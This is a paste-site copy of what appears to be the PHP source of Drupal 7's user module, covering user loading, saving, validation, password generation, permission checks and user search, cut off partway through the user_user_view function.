· 8 years ago · Oct 18, 2017, 03:50 PM
1<?php
2
3/**
4 * @file
5 * Enables the user registration and login system.
6 */
7
8/**
9 * Maximum length of username text field.
10 */
11define('USERNAME_MAX_LENGTH', 60);
12
13/**
14 * Maximum length of user e-mail text field.
15 */
16define('EMAIL_MAX_LENGTH', 254);
17
18/**
19 * Only administrators can create user accounts.
20 */
21define('USER_REGISTER_ADMINISTRATORS_ONLY', 0);
22
23/**
24 * Visitors can create their own accounts.
25 */
26define('USER_REGISTER_VISITORS', 1);
27
28/**
29 * Visitors can create accounts, but they don't become active without
30 * administrative approval.
31 */
32define('USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL', 2);
33
34/**
35 * Implements hook_help().
36 */
37function user_help($path, $arg) {
38 global $user;
39
40 switch ($path) {
41 case 'admin/help#user':
42 $output = '';
43 $output .= '<h3>' . t('About') . '</h3>';
44 $output .= '<p>' . t('The User module allows users to register, log in, and log out. It also allows users with proper permissions to manage user roles (used to classify users) and permissions associated with those roles. For more information, see the online handbook entry for <a href="@user">User module</a>.', array('@user' => 'http://drupal.org/documentation/modules/user')) . '</p>';
45 $output .= '<h3>' . t('Uses') . '</h3>';
46 $output .= '<dl>';
47 $output .= '<dt>' . t('Creating and managing users') . '</dt>';
48 $output .= '<dd>' . t('The User module allows users with the appropriate <a href="@permissions">permissions</a> to create user accounts through the <a href="@people">People administration page</a>, where they can also assign users to one or more roles, and block or delete user accounts. If allowed, users without accounts (anonymous users) can create their own accounts on the <a href="@register">Create new account</a> page.', array('@permissions' => url('admin/people/permissions', array('fragment' => 'module-user')), '@people' => url('admin/people'), '@register' => url('user/register'))) . '</dd>';
49 $output .= '<dt>' . t('User roles and permissions') . '</dt>';
50 $output .= '<dd>' . t('<em>Roles</em> are used to group and classify users; each user can be assigned one or more roles. By default there are two roles: <em>anonymous user</em> (users that are not logged in) and <em>authenticated user</em> (users that are registered and logged in). Depending on choices you made when you installed Drupal, the installation process may have defined more roles, and you can create additional custom roles on the <a href="@roles">Roles page</a>. After creating roles, you can set permissions for each role on the <a href="@permissions_user">Permissions page</a>. Granting a permission allows users who have been assigned a particular role to perform an action on the site, such as viewing a particular type of content, editing or creating content, administering settings for a particular module, or using a particular function of the site (such as search).', array('@permissions_user' => url('admin/people/permissions'), '@roles' => url('admin/people/permissions/roles'))) . '</dd>';
51 $output .= '<dt>' . t('Account settings') . '</dt>';
52 $output .= '<dd>' . t('The <a href="@accounts">Account settings page</a> allows you to manage settings for the displayed name of the anonymous user role, personal contact forms, user registration, and account cancellation. On this page you can also manage settings for account personalization (including signatures and user pictures), and adapt the text for the e-mail messages that are sent automatically during the user registration process.', array('@accounts' => url('admin/config/people/accounts'))) . '</dd>';
53 $output .= '</dl>';
54 return $output;
55 case 'admin/people/create':
56 return '<p>' . t("This web page allows administrators to register new users. Users' e-mail addresses and usernames must be unique.") . '</p>';
57 case 'admin/people/permissions':
58 return '<p>' . t('Permissions let you control what users can do and see on your site. You can define a specific set of permissions for each role. (See the <a href="@role">Roles</a> page to create a role). Two important roles to consider are Authenticated Users and Administrators. Any permissions granted to the Authenticated Users role will be given to any user who can log into your site. You can make any role the Administrator role for the site, meaning this will be granted all new permissions automatically. You can do this on the <a href="@settings">User Settings</a> page. You should be careful to ensure that only trusted users are given this access and level of control of your site.', array('@role' => url('admin/people/permissions/roles'), '@settings' => url('admin/config/people/accounts'))) . '</p>';
59 case 'admin/people/permissions/roles':
60 $output = '<p>' . t('Roles allow you to fine tune the security and administration of Drupal. A role defines a group of users that have certain privileges as defined on the <a href="@permissions">permissions page</a>. Examples of roles include: anonymous user, authenticated user, moderator, administrator and so on. In this area you will define the names and order of the roles on your site. It is recommended to order your roles from least permissive (anonymous user) to most permissive (administrator). To delete a role choose "edit role".', array('@permissions' => url('admin/people/permissions'))) . '</p>';
61 $output .= '<p>' . t('By default, Drupal comes with two user roles:') . '</p>';
62 $output .= '<ul>';
63 $output .= '<li>' . t("Anonymous user: this role is used for users that don't have a user account or that are not authenticated.") . '</li>';
64 $output .= '<li>' . t('Authenticated user: this role is automatically granted to all logged in users.') . '</li>';
65 $output .= '</ul>';
66 return $output;
67 case 'admin/config/people/accounts/fields':
68 return '<p>' . t('This form lets administrators add, edit, and arrange fields for storing user data.') . '</p>';
69 case 'admin/config/people/accounts/display':
70 return '<p>' . t('This form lets administrators configure how fields should be displayed when rendering a user profile page.') . '</p>';
71 case 'admin/people/search':
72 return '<p>' . t('Enter a simple pattern ("*" may be used as a wildcard match) to search for a username or e-mail address. For example, one may search for "br" and Drupal might return "brian", "brad", and "brenda@example.com".') . '</p>';
73 }
74}
75
76/**
77 * Invokes a user hook in every module.
78 *
79 * We cannot use module_invoke() for this, because the arguments need to
80 * be passed by reference.
81 *
82 * @param $type
83 * A text string that controls which user hook to invoke. Valid choices are:
84 * - cancel: Invokes hook_user_cancel().
85 * - insert: Invokes hook_user_insert().
86 * - login: Invokes hook_user_login().
87 * - presave: Invokes hook_user_presave().
88 * - update: Invokes hook_user_update().
89 * @param $edit
90 * An associative array variable containing form values to be passed
91 * as the first parameter of the hook function.
92 * @param $account
93 * The user account object to be passed as the second parameter of the hook
94 * function.
95 * @param $category
96 * The category of user information being acted upon.
97 */
98function user_module_invoke($type, &$edit, $account, $category = NULL) {
99 foreach (module_implements('user_' . $type) as $module) {
100 $function = $module . '_user_' . $type;
101 $function($edit, $account, $category);
102 }
103}
104
105/**
106 * Implements hook_theme().
107 */
108function user_theme() {
109 return array(
110 'user_picture' => array(
111 'variables' => array('account' => NULL),
112 'template' => 'user-picture',
113 ),
114 'user_profile' => array(
115 'render element' => 'elements',
116 'template' => 'user-profile',
117 'file' => 'user.pages.inc',
118 ),
119 'user_profile_category' => array(
120 'render element' => 'element',
121 'template' => 'user-profile-category',
122 'file' => 'user.pages.inc',
123 ),
124 'user_profile_item' => array(
125 'render element' => 'element',
126 'template' => 'user-profile-item',
127 'file' => 'user.pages.inc',
128 ),
129 'user_list' => array(
130 'variables' => array('users' => NULL, 'title' => NULL),
131 ),
132 'user_admin_permissions' => array(
133 'render element' => 'form',
134 'file' => 'user.admin.inc',
135 ),
136 'user_admin_roles' => array(
137 'render element' => 'form',
138 'file' => 'user.admin.inc',
139 ),
140 'user_permission_description' => array(
141 'variables' => array('permission_item' => NULL, 'hide' => NULL),
142 'file' => 'user.admin.inc',
143 ),
144 'user_signature' => array(
145 'variables' => array('signature' => NULL),
146 ),
147 );
148}
149
150/**
151 * Implements hook_entity_info().
152 */
153function user_entity_info() {
154 $return = array(
155 'user' => array(
156 'label' => t('User'),
157 'controller class' => 'UserController',
158 'base table' => 'users',
159 'uri callback' => 'user_uri',
160 'label callback' => 'format_username',
161 'fieldable' => TRUE,
162 // $user->language is only the preferred user language for the user
163 // interface textual elements. As it is not necessarily related to the
164 // language assigned to fields, we do not define it as the entity language
165 // key.
166 'entity keys' => array(
167 'id' => 'uid',
168 ),
169 'bundles' => array(
170 'user' => array(
171 'label' => t('User'),
172 'admin' => array(
173 'path' => 'admin/config/people/accounts',
174 'access arguments' => array('administer users'),
175 ),
176 ),
177 ),
178 'view modes' => array(
179 'full' => array(
180 'label' => t('User account'),
181 'custom settings' => FALSE,
182 ),
183 ),
184 ),
185 );
186 return $return;
187}
188
189/**
190 * Implements callback_entity_info_uri().
191 */
192function user_uri($user) {
193 return array(
194 'path' => 'user/' . $user->uid,
195 );
196}
197
198/**
199 * Implements hook_field_info_alter().
200 */
201function user_field_info_alter(&$info) {
202 // Add the 'user_register_form' instance setting to all field types.
203 foreach ($info as $field_type => &$field_type_info) {
204 $field_type_info += array('instance_settings' => array());
205 $field_type_info['instance_settings'] += array(
206 'user_register_form' => FALSE,
207 );
208 }
209}
210
211/**
212 * Implements hook_field_extra_fields().
213 */
214function user_field_extra_fields() {
215 $return['user']['user'] = array(
216 'form' => array(
217 'account' => array(
218 'label' => t('User name and password'),
219 'description' => t('User module account form elements.'),
220 'weight' => -10,
221 ),
222 'timezone' => array(
223 'label' => t('Timezone'),
224 'description' => t('User module timezone form element.'),
225 'weight' => 6,
226 ),
227 ),
228 'display' => array(
229 'summary' => array(
230 'label' => t('History'),
231 'description' => t('User module history view element.'),
232 'weight' => 5,
233 ),
234 ),
235 );
236
237 return $return;
238}
239
240/**
241 * Fetches a user object based on an external authentication source.
242 *
243 * @param string $authname
244 * The external authentication username.
245 *
246 * @return
247 * A fully-loaded user object if the user is found or FALSE if not found.
248 */
249function user_external_load($authname) {
250 $uid = db_query("SELECT uid FROM {authmap} WHERE authname = :authname", array(':authname' => $authname))->fetchField();
251
252 if ($uid) {
253 return user_load($uid);
254 }
255 else {
256 return FALSE;
257 }
258}
259
260/**
261 * Load multiple users based on certain conditions.
262 *
263 * This function should be used whenever you need to load more than one user
264 * from the database. Users are loaded into memory and will not require
265 * database access if loaded again during the same page request.
266 *
267 * @param $uids
268 * An array of user IDs.
269 * @param $conditions
270 * (deprecated) An associative array of conditions on the {users}
271 * table, where the keys are the database fields and the values are the
272 * values those fields must have. Instead, it is preferable to use
273 * EntityFieldQuery to retrieve a list of entity IDs loadable by
274 * this function.
275 * @param $reset
276 * A boolean indicating that the internal cache should be reset. Use this if
277 * loading a user object which has been altered during the page request.
278 *
279 * @return
280 * An array of user objects, indexed by uid.
281 *
282 * @see entity_load()
283 * @see user_load()
284 * @see user_load_by_mail()
285 * @see user_load_by_name()
286 * @see EntityFieldQuery
287 *
288 * @todo Remove $conditions in Drupal 8.
289 */
290function user_load_multiple($uids = array(), $conditions = array(), $reset = FALSE) {
291 return entity_load('user', $uids, $conditions, $reset);
292}
293
294/**
295 * Controller class for users.
296 *
297 * This extends the DrupalDefaultEntityController class, adding required
298 * special handling for user objects.
299 */
300class UserController extends DrupalDefaultEntityController {
301
302 function attachLoad(&$queried_users, $revision_id = FALSE) {
303 // Build an array of user picture IDs so that these can be fetched later.
304 $picture_fids = array();
305 foreach ($queried_users as $key => $record) {
306 $picture_fids[] = $record->picture;
307 $queried_users[$key]->data = unserialize($record->data);
308 $queried_users[$key]->roles = array();
309 if ($record->uid) {
310 $queried_users[$record->uid]->roles[DRUPAL_AUTHENTICATED_RID] = 'authenticated user';
311 }
312 else {
313 $queried_users[$record->uid]->roles[DRUPAL_ANONYMOUS_RID] = 'anonymous user';
314 }
315 }
316
317 // Add any additional roles from the database.
318 $result = db_query('SELECT r.rid, r.name, ur.uid FROM {role} r INNER JOIN {users_roles} ur ON ur.rid = r.rid WHERE ur.uid IN (:uids)', array(':uids' => array_keys($queried_users)));
319 foreach ($result as $record) {
320 $queried_users[$record->uid]->roles[$record->rid] = $record->name;
321 }
322
323 // Add the full file objects for user pictures if enabled.
324 if (!empty($picture_fids) && variable_get('user_pictures', 0)) {
325 $pictures = file_load_multiple($picture_fids);
326 foreach ($queried_users as $account) {
327 if (!empty($account->picture) && isset($pictures[$account->picture])) {
328 $account->picture = $pictures[$account->picture];
329 }
330 else {
331 $account->picture = NULL;
332 }
333 }
334 }
335 // Call the default attachLoad() method. This will add fields and call
336 // hook_user_load().
337 parent::attachLoad($queried_users, $revision_id);
338 }
339}
340
341/**
342 * Loads a user object.
343 *
344 * Drupal has a global $user object, which represents the currently-logged-in
345 * user. So to avoid confusion and to avoid clobbering the global $user object,
346 * it is a good idea to assign the result of this function to a different local
347 * variable, generally $account. If you actually do want to act as the user you
348 * are loading, it is essential to call drupal_save_session(FALSE); first.
349 * See
350 * @link http://drupal.org/node/218104 Safely impersonating another user @endlink
351 * for more information.
352 *
353 * @param $uid
354 * Integer specifying the user ID to load.
355 * @param $reset
356 * TRUE to reset the internal cache and load from the database; FALSE
357 * (default) to load from the internal cache, if set.
358 *
359 * @return
360 * A fully-loaded user object upon successful user load, or FALSE if the user
361 * cannot be loaded.
362 *
363 * @see user_load_multiple()
364 */
365function user_load($uid, $reset = FALSE) {
366 $users = user_load_multiple(array($uid), array(), $reset);
367 return reset($users);
368}
369
370/**
371 * Fetch a user object by email address.
372 *
373 * @param $mail
374 * String with the account's e-mail address.
375 * @return
376 * A fully-loaded $user object upon successful user load or FALSE if user
377 * cannot be loaded.
378 *
379 * @see user_load_multiple()
380 */
381function user_load_by_mail($mail) {
382 $users = user_load_multiple(array(), array('mail' => $mail));
383 return reset($users);
384}
385
386/**
387 * Fetch a user object by account name.
388 *
389 * @param $name
390 * String with the account's user name.
391 * @return
392 * A fully-loaded $user object upon successful user load or FALSE if user
393 * cannot be loaded.
394 *
395 * @see user_load_multiple()
396 */
397function user_load_by_name($name) {
398 $users = user_load_multiple(array(), array('name' => $name));
399 return reset($users);
400}
401
402/**
403 * Save changes to a user account or add a new user.
404 *
405 * @param $account
406 * (optional) The user object to modify or add. If you want to modify
407 * an existing user account, you will need to ensure that (a) $account
408 * is an object, and (b) you have set $account->uid to the numeric
409 * user ID of the user account you wish to modify. If you
410 * want to create a new user account, you can set $account->is_new to
411 * TRUE or omit the $account->uid field.
412 * @param $edit
413 * An array of fields and values to save. For example array('name'
414 * => 'My name'). Key / value pairs added to the $edit['data'] will be
415 * serialized and saved in the {users.data} column.
416 * @param $category
417 * (optional) The category for storing profile information in.
418 *
419 * @return
420 * A fully-loaded $user object upon successful save or FALSE if the save failed.
421 *
422 * @todo D8: Drop $edit and fix user_save() to be consistent with others.
423 */
424function user_save($account, $edit = array(), $category = 'account') {
425 $transaction = db_transaction();
426 try {
427 if (!empty($edit['pass'])) {
428 // Allow alternate password hashing schemes.
429 require_once DRUPAL_ROOT . '/' . variable_get('password_inc', 'includes/password.inc');
430 $edit['pass'] = user_hash_password(trim($edit['pass']));
431 // Abort if the hashing failed and returned FALSE.
432 if (!$edit['pass']) {
433 return FALSE;
434 }
435 }
436 else {
437 // Avoid overwriting an existing password with a blank password.
438 unset($edit['pass']);
439 }
440 if (isset($edit['mail'])) {
441 $edit['mail'] = trim($edit['mail']);
442 }
443
444 // Load the stored entity, if any.
445 if (!empty($account->uid) && !isset($account->original)) {
446 $account->original = entity_load_unchanged('user', $account->uid);
447 }
448
449 if (empty($account)) {
450 $account = new stdClass();
451 }
452 if (!isset($account->is_new)) {
453 $account->is_new = empty($account->uid);
454 }
455 // Prepopulate $edit['data'] with the current value of $account->data.
456 // Modules can add to or remove from this array in hook_user_presave().
457 if (!empty($account->data)) {
458 $edit['data'] = !empty($edit['data']) ? array_merge($account->data, $edit['data']) : $account->data;
459 }
460
461 // Invoke hook_user_presave() for all modules.
462 user_module_invoke('presave', $edit, $account, $category);
463
464 // Invoke presave operations of Field Attach API and Entity API. Those APIs
465 // require a fully-fledged and updated entity object. Therefore, we need to
466 // copy any new property values of $edit into it.
467 foreach ($edit as $key => $value) {
468 $account->$key = $value;
469 }
470 field_attach_presave('user', $account);
471 module_invoke_all('entity_presave', $account, 'user');
472
473 if (is_object($account) && !$account->is_new) {
474 // Process picture uploads.
475 if (!empty($account->picture->fid) && (!isset($account->original->picture->fid) || $account->picture->fid != $account->original->picture->fid)) {
476 $picture = $account->picture;
477 // If the picture is a temporary file move it to its final location and
478 // make it permanent.
479 if (!$picture->status) {
480 $info = image_get_info($picture->uri);
481 $picture_directory = file_default_scheme() . '://' . variable_get('user_picture_path', 'pictures');
482
483 // Prepare the pictures directory.
484 file_prepare_directory($picture_directory, FILE_CREATE_DIRECTORY);
485 $destination = file_stream_wrapper_uri_normalize($picture_directory . '/picture-' . $account->uid . '-' . REQUEST_TIME . '.' . $info['extension']);
486
487 // Move the temporary file into the final location.
488 if ($picture = file_move($picture, $destination, FILE_EXISTS_RENAME)) {
489 $picture->status = FILE_STATUS_PERMANENT;
490 $account->picture = file_save($picture);
491 file_usage_add($picture, 'user', 'user', $account->uid);
492 }
493 }
494 // Delete the previous picture if it was deleted or replaced.
495 if (!empty($account->original->picture->fid)) {
496 file_usage_delete($account->original->picture, 'user', 'user', $account->uid);
497 file_delete($account->original->picture);
498 }
499 }
500 elseif (isset($edit['picture_delete']) && $edit['picture_delete']) {
501 file_usage_delete($account->original->picture, 'user', 'user', $account->uid);
502 file_delete($account->original->picture);
503 }
504 // Save the picture object, if it is set. drupal_write_record() expects
505 // $account->picture to be a FID.
506 $picture = empty($account->picture) ? NULL : $account->picture;
507 $account->picture = empty($account->picture->fid) ? 0 : $account->picture->fid;
508
509 // Do not allow 'uid' to be changed.
510 $account->uid = $account->original->uid;
511 // Save changes to the user table.
512 $success = drupal_write_record('users', $account, 'uid');
513 // Restore the picture object.
514 $account->picture = $picture;
515 if ($success === FALSE) {
516 // The query failed - better to abort the save than risk further
517 // data loss.
518 return FALSE;
519 }
520
521 // Reload user roles if provided.
522 if ($account->roles != $account->original->roles) {
523 db_delete('users_roles')
524 ->condition('uid', $account->uid)
525 ->execute();
526
527 $query = db_insert('users_roles')->fields(array('uid', 'rid'));
528 foreach (array_keys($account->roles) as $rid) {
529 if (!in_array($rid, array(DRUPAL_ANONYMOUS_RID, DRUPAL_AUTHENTICATED_RID))) {
530 $query->values(array(
531 'uid' => $account->uid,
532 'rid' => $rid,
533 ));
534 }
535 }
536 $query->execute();
537 }
538
539 // Delete a blocked user's sessions to kick them if they are online.
540 if ($account->original->status != $account->status && $account->status == 0) {
541 drupal_session_destroy_uid($account->uid);
542 }
543
544 // If the password changed, delete all open sessions and recreate
545 // the current one.
546 if ($account->pass != $account->original->pass) {
547 drupal_session_destroy_uid($account->uid);
548 if ($account->uid == $GLOBALS['user']->uid) {
549 drupal_session_regenerate();
550 }
551 }
552
553 // Save Field data.
554 field_attach_update('user', $account);
555
556 // Send emails after we have the new user object.
557 if ($account->status != $account->original->status) {
558 // The user's status is changing; conditionally send notification email.
559 $op = $account->status == 1 ? 'status_activated' : 'status_blocked';
560 _user_mail_notify($op, $account);
561 }
562
563 // Update $edit with any interim changes to $account.
564 foreach ($account as $key => $value) {
565 if (!property_exists($account->original, $key) || $value !== $account->original->$key) {
566 $edit[$key] = $value;
567 }
568 }
569 user_module_invoke('update', $edit, $account, $category);
570 module_invoke_all('entity_update', $account, 'user');
571 }
572 else {
573 // Allow 'uid' to be set by the caller. There is no danger of writing an
574 // existing user as drupal_write_record will do an INSERT.
575 if (empty($account->uid)) {
576 $account->uid = db_next_id(db_query('SELECT MAX(uid) FROM {users}')->fetchField());
577 }
578 // Allow 'created' to be set by the caller.
579 if (!isset($account->created)) {
580 $account->created = REQUEST_TIME;
581 }
582 $success = drupal_write_record('users', $account);
583 if ($success === FALSE) {
584 // On a failed INSERT some other existing user's uid may be returned.
585 // We must abort to avoid overwriting their account.
586 return FALSE;
587 }
588
589 // Make sure $account is properly initialized.
590 $account->roles[DRUPAL_AUTHENTICATED_RID] = 'authenticated user';
591
592 field_attach_insert('user', $account);
593 $edit = (array) $account;
594 user_module_invoke('insert', $edit, $account, $category);
595 module_invoke_all('entity_insert', $account, 'user');
596
597 // Save user roles. Skip built-in roles, and ones that were already saved
598 // to the database during hook calls.
599 $rids_to_skip = array_merge(array(DRUPAL_ANONYMOUS_RID, DRUPAL_AUTHENTICATED_RID), db_query('SELECT rid FROM {users_roles} WHERE uid = :uid', array(':uid' => $account->uid))->fetchCol());
600 if ($rids_to_save = array_diff(array_keys($account->roles), $rids_to_skip)) {
601 $query = db_insert('users_roles')->fields(array('uid', 'rid'));
602 foreach ($rids_to_save as $rid) {
603 $query->values(array(
604 'uid' => $account->uid,
605 'rid' => $rid,
606 ));
607 }
608 $query->execute();
609 }
610 }
611 // Clear internal properties.
612 unset($account->is_new);
613 unset($account->original);
614 // Clear the static loading cache.
615 entity_get_controller('user')->resetCache(array($account->uid));
616
617 return $account;
618 }
619 catch (Exception $e) {
620 $transaction->rollback();
621 watchdog_exception('user', $e);
622 throw $e;
623 }
624}
625
626/**
627 * Verify the syntax of the given name.
628 */
629function user_validate_name($name) {
630 if (!$name) {
631 return t('You must enter a username.');
632 }
633 if (substr($name, 0, 1) == ' ') {
634 return t('The username cannot begin with a space.');
635 }
636 if (substr($name, -1) == ' ') {
637 return t('The username cannot end with a space.');
638 }
639 if (strpos($name, ' ') !== FALSE) {
640 return t('The username cannot contain multiple spaces in a row.');
641 }
642 if (preg_match('/[^\x{80}-\x{F7} a-z0-9@_.\'-]/i', $name)) {
643 return t('The username contains an illegal character.');
644 }
645 if (preg_match('/[\x{80}-\x{A0}' . // Non-printable ISO-8859-1 + NBSP
646 '\x{AD}' . // Soft-hyphen
647 '\x{2000}-\x{200F}' . // Various space characters
648 '\x{2028}-\x{202F}' . // Bidirectional text overrides
649 '\x{205F}-\x{206F}' . // Various text hinting characters
650 '\x{FEFF}' . // Byte order mark
651 '\x{FF01}-\x{FF60}' . // Full-width latin
652 '\x{FFF9}-\x{FFFD}' . // Replacement characters
653 '\x{0}-\x{1F}]/u', // NULL byte and control characters
654 $name)) {
655 return t('The username contains an illegal character.');
656 }
657 if (drupal_strlen($name) > USERNAME_MAX_LENGTH) {
658 return t('The username %name is too long: it must be %max characters or less.', array('%name' => $name, '%max' => USERNAME_MAX_LENGTH));
659 }
660}
661
662/**
663 * Validates a user's email address.
664 *
665 * Checks that a user's email address exists and follows all standard
666 * validation rules. Returns error messages when the address is invalid.
667 *
668 * @param $mail
669 * A user's email address.
670 *
671 * @return
672 * If the address is invalid, a human-readable error message is returned.
673 * If the address is valid, nothing is returned.
674 */
675function user_validate_mail($mail) {
676 if (!$mail) {
677 return t('You must enter an e-mail address.');
678 }
679 if (!valid_email_address($mail)) {
680 return t('The e-mail address %mail is not valid.', array('%mail' => $mail));
681 }
682}
683
684/**
685 * Validates an image uploaded by a user.
686 *
687 * @see user_account_form()
688 */
689function user_validate_picture(&$form, &$form_state) {
690 // If required, validate the uploaded picture.
691 $validators = array(
692 'file_validate_is_image' => array(),
693 'file_validate_image_resolution' => array(variable_get('user_picture_dimensions', '85x85')),
694 'file_validate_size' => array(variable_get('user_picture_file_size', '30') * 1024),
695 );
696
697 // Save the file as a temporary file.
698 $file = file_save_upload('picture_upload', $validators);
699 if ($file === FALSE) {
700 form_set_error('picture_upload', t("Failed to upload the picture image; the %directory directory doesn't exist or is not writable.", array('%directory' => variable_get('user_picture_path', 'pictures'))));
701 }
702 elseif ($file !== NULL) {
703 $form_state['values']['picture_upload'] = $file;
704 }
705}
706
707/**
708 * Generate a random alphanumeric password.
709 */
710function user_password($length = 10) {
711 // This variable contains the list of allowable characters for the
712 // password. Note that the number 0 and the letter 'O' have been
713 // removed to avoid confusion between the two. The same is true
714 // of 'I', 1, and 'l'.
715 $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
716
717 // Zero-based count of characters in the allowable list:
718 $len = strlen($allowable_characters) - 1;
719
720 // Declare the password as a blank string.
721 $pass = '';
722
723 // Loop the number of times specified by $length.
724 for ($i = 0; $i < $length; $i++) {
725 do {
726 // Find a secure random number within the range needed.
727 $index = ord(drupal_random_bytes(1));
728 } while ($index > $len);
729
730 // Each iteration, pick a random character from the
731 // allowable string and append it to the password:
732 $pass .= $allowable_characters[$index];
733 }
734
735 return $pass;
736}
737
738/**
739 * Determine the permissions for one or more roles.
740 *
741 * @param $roles
742 * An array whose keys are the role IDs of interest, such as $user->roles.
743 *
744 * @return
745 * If $roles is a non-empty array, an array indexed by role ID is returned.
746 * Each value is an array whose keys are the permission strings for the given
747 * role ID. If $roles is empty nothing is returned.
748 */
749function user_role_permissions($roles = array()) {
750 $cache = &drupal_static(__FUNCTION__, array());
751
752 $role_permissions = $fetch = array();
753
754 if ($roles) {
755 foreach ($roles as $rid => $name) {
756 if (isset($cache[$rid])) {
757 $role_permissions[$rid] = $cache[$rid];
758 }
759 else {
760 // Add this rid to the list of those needing to be fetched.
761 $fetch[] = $rid;
762 // Prepare in case no permissions are returned.
763 $cache[$rid] = array();
764 }
765 }
766
767 if ($fetch) {
768 // Get from the database permissions that were not in the static variable.
769 // Only role IDs with at least one permission assigned will return rows.
770 $result = db_query("SELECT rid, permission FROM {role_permission} WHERE rid IN (:fetch)", array(':fetch' => $fetch));
771
772 foreach ($result as $row) {
773 $cache[$row->rid][$row->permission] = TRUE;
774 }
775 foreach ($fetch as $rid) {
776 // For every rid, we know we at least assigned an empty array.
777 $role_permissions[$rid] = $cache[$rid];
778 }
779 }
780 }
781
782 return $role_permissions;
783}
784
785/**
786 * Determine whether the user has a given privilege.
787 *
788 * @param $string
789 * The permission, such as "administer nodes", being checked for.
790 * @param $account
791 * (optional) The account to check, if not given use currently logged in user.
792 *
793 * @return
794 * Boolean TRUE if the current user has the requested permission.
795 *
796 * All permission checks in Drupal should go through this function. This
797 * way, we guarantee consistent behavior, and ensure that the superuser
798 * can perform all actions.
799 */
800function user_access($string, $account = NULL) {
801 global $user;
802
803 if (!isset($account)) {
804 $account = $user;
805 }
806
807 // User #1 has all privileges:
808 if ($account->uid == 1) {
809 return TRUE;
810 }
811
812 // To reduce the number of SQL queries, we cache the user's permissions
813 // in a static variable.
814 // Use the advanced drupal_static() pattern, since this is called very often.
815 static $drupal_static_fast;
816 if (!isset($drupal_static_fast)) {
817 $drupal_static_fast['perm'] = &drupal_static(__FUNCTION__);
818 }
819 $perm = &$drupal_static_fast['perm'];
820 if (!isset($perm[$account->uid])) {
821 $role_permissions = user_role_permissions($account->roles);
822
823 $perms = array();
824 foreach ($role_permissions as $one_role) {
825 $perms += $one_role;
826 }
827 $perm[$account->uid] = $perms;
828 }
829
830 return isset($perm[$account->uid][$string]);
831}
832
833/**
834 * Checks for usernames blocked by user administration.
835 *
836 * @param $name
837 * A string containing a name of the user.
838 *
839 * @return
840 * Object with property 'name' (the user name), if the user is blocked;
841 * FALSE if the user is not blocked.
842 */
843function user_is_blocked($name) {
844 return db_select('users')
845 ->fields('users', array('name'))
846 ->condition('name', db_like($name), 'LIKE')
847 ->condition('status', 0)
848 ->execute()->fetchObject();
849}
850
851/**
852 * Checks if a user has a role.
853 *
854 * @param int $rid
855 * A role ID.
856 *
857 * @param object|null $account
858 * (optional) A user account. Defaults to the current user.
859 *
860 * @return bool
861 * TRUE if the user has the role, or FALSE if not.
862 */
863function user_has_role($rid, $account = NULL) {
864 if (!$account) {
865 $account = $GLOBALS['user'];
866 }
867
868 return isset($account->roles[$rid]);
869}
870
871/**
872 * Implements hook_permission().
873 */
874function user_permission() {
875 return array(
876 'administer permissions' => array(
877 'title' => t('Administer permissions'),
878 'restrict access' => TRUE,
879 ),
880 'administer users' => array(
881 'title' => t('Administer users'),
882 'restrict access' => TRUE,
883 ),
884 'access user profiles' => array(
885 'title' => t('View user profiles'),
886 ),
887 'change own username' => array(
888 'title' => t('Change own username'),
889 ),
890 'cancel account' => array(
891 'title' => t('Cancel own user account'),
892 'description' => t('Note: content may be kept, unpublished, deleted or transferred to the %anonymous-name user depending on the configured <a href="@user-settings-url">user settings</a>.', array('%anonymous-name' => variable_get('anonymous', t('Anonymous')), '@user-settings-url' => url('admin/config/people/accounts'))),
893 ),
894 'select account cancellation method' => array(
895 'title' => t('Select method for cancelling own account'),
896 'restrict access' => TRUE,
897 ),
898 );
899}
900
901/**
902 * Implements hook_file_download().
903 *
904 * Ensure that user pictures (avatars) are always downloadable.
905 */
906function user_file_download($uri) {
907 if (strpos(file_uri_target($uri), variable_get('user_picture_path', 'pictures') . '/picture-') === 0) {
908 $info = image_get_info($uri);
909 return array('Content-Type' => $info['mime_type']);
910 }
911}
912
913/**
914 * Implements hook_file_move().
915 */
916function user_file_move($file, $source) {
917 // If a user's picture is replaced with a new one, update the record in
918 // the users table.
919 if (isset($file->fid) && isset($source->fid) && $file->fid != $source->fid) {
920 db_update('users')
921 ->fields(array(
922 'picture' => $file->fid,
923 ))
924 ->condition('picture', $source->fid)
925 ->execute();
926 }
927}
928
929/**
930 * Implements hook_file_delete().
931 */
932function user_file_delete($file) {
933 // Remove any references to the file.
934 db_update('users')
935 ->fields(array('picture' => 0))
936 ->condition('picture', $file->fid)
937 ->execute();
938}
939
940/**
941 * Implements hook_search_info().
942 */
943function user_search_info() {
944 return array(
945 'title' => 'Users',
946 );
947}
948
949/**
950 * Implements hook_search_access().
951 */
952function user_search_access() {
953 return user_access('access user profiles');
954}
955
956/**
957 * Implements hook_search_execute().
958 */
959function user_search_execute($keys = NULL, $conditions = NULL) {
960 $find = array();
961 // Escape for LIKE matching.
962 $keys = db_like($keys);
963 // Replace wildcards with MySQL/PostgreSQL wildcards.
964 $keys = preg_replace('!\*+!', '%', $keys);
965 $query = db_select('users')->extend('PagerDefault');
966 $query->fields('users', array('uid'));
967 if (user_access('administer users')) {
968 // Administrators can also search in the otherwise private email field,
969 // and they don't need to be restricted to only active users.
970 $query->fields('users', array('mail'));
971 $query->condition(db_or()->
972 condition('name', '%' . $keys . '%', 'LIKE')->
973 condition('mail', '%' . $keys . '%', 'LIKE'));
974 }
975 else {
976 // Regular users can only search via usernames, and we do not show them
977 // blocked accounts.
978 $query->condition('name', '%' . $keys . '%', 'LIKE')
979 ->condition('status', 1);
980 }
981 $uids = $query
982 ->limit(15)
983 ->execute()
984 ->fetchCol();
985 $accounts = user_load_multiple($uids);
986
987 $results = array();
988 foreach ($accounts as $account) {
989 $result = array(
990 'title' => format_username($account),
991 'link' => url('user/' . $account->uid, array('absolute' => TRUE)),
992 );
993 if (user_access('administer users')) {
994 $result['title'] .= ' (' . $account->mail . ')';
995 }
996 $results[] = $result;
997 }
998
999 return $results;
1000}
1001
1002/**
1003 * Implements hook_element_info().
1004 */
1005function user_element_info() {
1006 $types['user_profile_category'] = array(
1007 '#theme_wrappers' => array('user_profile_category'),
1008 );
1009 $types['user_profile_item'] = array(
1010 '#theme' => 'user_profile_item',
1011 );
1012 return $types;
1013}
1014
1015/**
1016 * Implements hook_user_view().
1017 */
1018function user_user_view($account) {
1019 $account->content['user_picture'] = array(
